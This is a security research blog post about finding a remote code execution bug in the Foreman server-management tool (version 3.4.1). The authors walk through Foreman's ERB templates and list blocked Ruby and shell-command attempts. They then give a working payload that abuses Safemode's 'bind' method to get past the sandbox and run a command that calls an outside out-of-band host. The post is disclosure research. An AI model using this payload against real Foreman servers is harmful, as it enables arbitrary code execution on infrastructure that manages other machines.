When you're so bored, you start debugging someone else's code: bug hunting in a random Cloud-Native project

When you're so bored, you start debugging someone else's code: bug hunting in a random Cloud-Native project

Intro

Our team has the challenge of finding bugs in popular Cloud-Native projects on Github. It's a fun activity that is a good alternative to platforms like HTB and benefits the project we're researching. However, unlike HTB, finding a bug is not guaranteed. We wanted to see how easy it is to find something interesting in a popular product with many stars and contributors.

By fate, we chose the Foreman project (https://github.com/theforeman/foreman).

But on a serious note, there were some reasons why we chose it as our test subject:

First, it has a large codebase which increases the chances of finding bugs.

Second, it had vulnerabilities in the past, including RCE (remote code execution), which made it an interesting target for us.

Third, there were no CVEs (Common Vulnerabilities and Exposures) reported for the project in 2022, which seemed odd.

Foreman is a tool used to manage servers and deploy applications on them. We chose to study the latest version available at that time, which was 3.4.1.

Installation

Installation is quite simple. We followed the guide at https://theforeman.org/manuals/3.4/index.html#2.Quickstart and deployed the product on Debian 11.

It's important to ensure that the server's hostname doesn't point to 127.0.0.1. You can check this with the command "ping $(hostname -f)". If it pings to 127.0.0.1, you need to edit the /etc/hosts file.

For example:

1.2.3.4 foreman

After that, installation is straightforward.

sudo apt-get -y install ca-certificates

cd /tmp && wget https://apt.puppet.com/puppet7-release-bullseye.deb

sudo apt-get install /tmp/puppet7-release-bullseye.deb

sudo wget https://deb.theforeman.org/foreman.asc -O /etc/apt/trusted.gpg.d/foreman.asc

echo "deb http://deb.theforeman.org/ bullseye 3.4" | sudo tee /etc/apt/sources.list.d/foreman.list

echo "deb http://deb.theforeman.org/ plugins 3.4" | sudo tee -a /etc/apt/sources.list.d/foreman.list

sudo apt-get update && sudo apt-get -y install foreman-installer

Finally, you should see something like"Foreman is running at https://theforeman.example.com".

But, we hit a roadblock with an error that said ERROR: invalid locale name: "en_US.utf8"

Luckily, we were able to fix it with the following steps:

locale-gen en_US.UTF-8

locale-gen en_US.utf8

dpkg-reconfigure locales

systemctl restart postgresql

...and then we launched the foreman-installer once again.

Quick Overview

Of course, with access to the source code, one can and should engage in whitebox testing, starting with running code analyzers (which, by the way, usually don't find anything useful), diving deep into the source code. However, we were feeling a bit lazy about it ;). Plus, we were curious to see if we could catch something off the bat, so to speak.

So, we started with blackbox testing, using BurpSuite as a proxy and started poking around the application, building a site map, and learning about the product along the way.

RCE or not?!

Almost immediately, attention was drawn to the HOSTS > TEMPLATES section.

There you can manage templates for collecting data from controlled servers, as well as manage them.

Looking at the pre-installed templates, it became clear that these were Ruby ERB templates, which is not surprising since Foreman is written in Ruby.

Of course, the use of templates is a standard functionality of the application, so there is no reason to be happy about the discovery, but it provided a reason to test the possibility of RCE through SSTI...

For testing, BurpSuite was not even needed, as a template can be created directly from the interface and switched between the Editor and Preview tabs.

As can be seen from the examples below, templates allow "out of the box" execution of Ruby code, for example:

<%= text='test string'; puts text %>

<%= test={a:77, b:77}; puts test[:a]*test[:b] %>

In Preview we noticed ["[\"test string\"]\n"] and ["[5929]\n"].

But such a bug wouldn't be worth your attention and our time writing this article.

It may seem like that's it, do whatever you want: execute OS commands, Ruby code, launch reverse shells, “steal, kill and destroy”...
If it weren't for one "but" - the Safemode feature built into Foreman - an unremovable mechanism that nullifies all attempts to execute even remotely interesting code.

<%= puts ENV.keys %>

There was an error rendering the template: Safemode doesn't allow to access 'constant' on ENV


<%=`id`%>

There was an error rendering the template: Safemode doesn't allow to access 'shell command' on `id`


<%= x='77*77'; eval(x) %>

There was an error rendering the template: Safemode doesn't allow to access 'eval' on #<Safemode::ScopeObject>


<%= system('id') %>

There was an error rendering the template: Safemode doesn't allow to access 'system' on #<Safemode::ScopeObject>


<%= %x|id| %>

There was an error rendering the template: Safemode doesn't allow to access 'shell command' on `id`


ё<%= fork { exec("id") } %>

There was an error rendering the template: Safemode doesn't allow to access 'fork' on #<Safemode::ScopeObject>

Well, you know the drill... Let's not drag our dear reader through all the attempts we made, let's just say that all our efforts to bypass the Safemode failed.

But that only makes it more intriguing, so let's try to find a way to bypass it.

Diving into Safemode, searching for a bypass...

Safemode is not just your regular, run-of-the-mill, built-in protection mechanism in Ruby, but a creation of the same creative collective behind theforeman. The project code is open and available on Github at https://github.com/theforeman/safemode.

Funny thing, the developers themselves warn us about the risks of using this product in the README!

"This library is still highly experimental. Only use it at your own risk for anything beyond experiments and playing."

Well, that's slightly reassuring and encouraging ;)

Upon a cursory glance at the code, luckily there wasn't too much of it, a very strange thing was discovered...

see https://github.com/theforeman/safemode/blob/master/lib/safemode/scope.rb

(link to the commit at the time of writing the article: https://github.com/theforeman/safemode/blob/1e5370a6dbed55df520ab2b9a5a0123c68569360/lib/safemode/scope.rb)

So, there is a bind method that passes its arguments to eval... Looks fantastic! We just need to find the class that contains this method.

The standard data types do not have this method:


But it came to mind that we've already seen "Safemode::ScopeObject" when trying to execute <%= system('id') %>

Safemode doesn't allow to access 'system' on #Safemode::ScopeObject

So, what if we try this?

<%= puts self.methods.select{|x| x == :bind} %>

Bingo! Self is exactly what we need.

Now, all we have to do is try calling this method and pass the code for eval inside it. The eval code should be contained in the Hash name, not in value.

Here's what we got:

<%= self.bind({"xx=puts(`getent hosts qhb7r8pka5s8gk0ybjjt1ipmyd44sugj.oastify.com`)#" => 123} ) %>

In the Collaborator output, we can see a DNS request.

So we managed to find a way to bypass Safemode and execute arbitrary code.

In conclusion…

We believe that this bug will also appear in other projects using the Safemode library. Perhaps in our next articles, we will explore this topic further.

Perhaps, perhaps, perhaps...

Author: 0x566164696D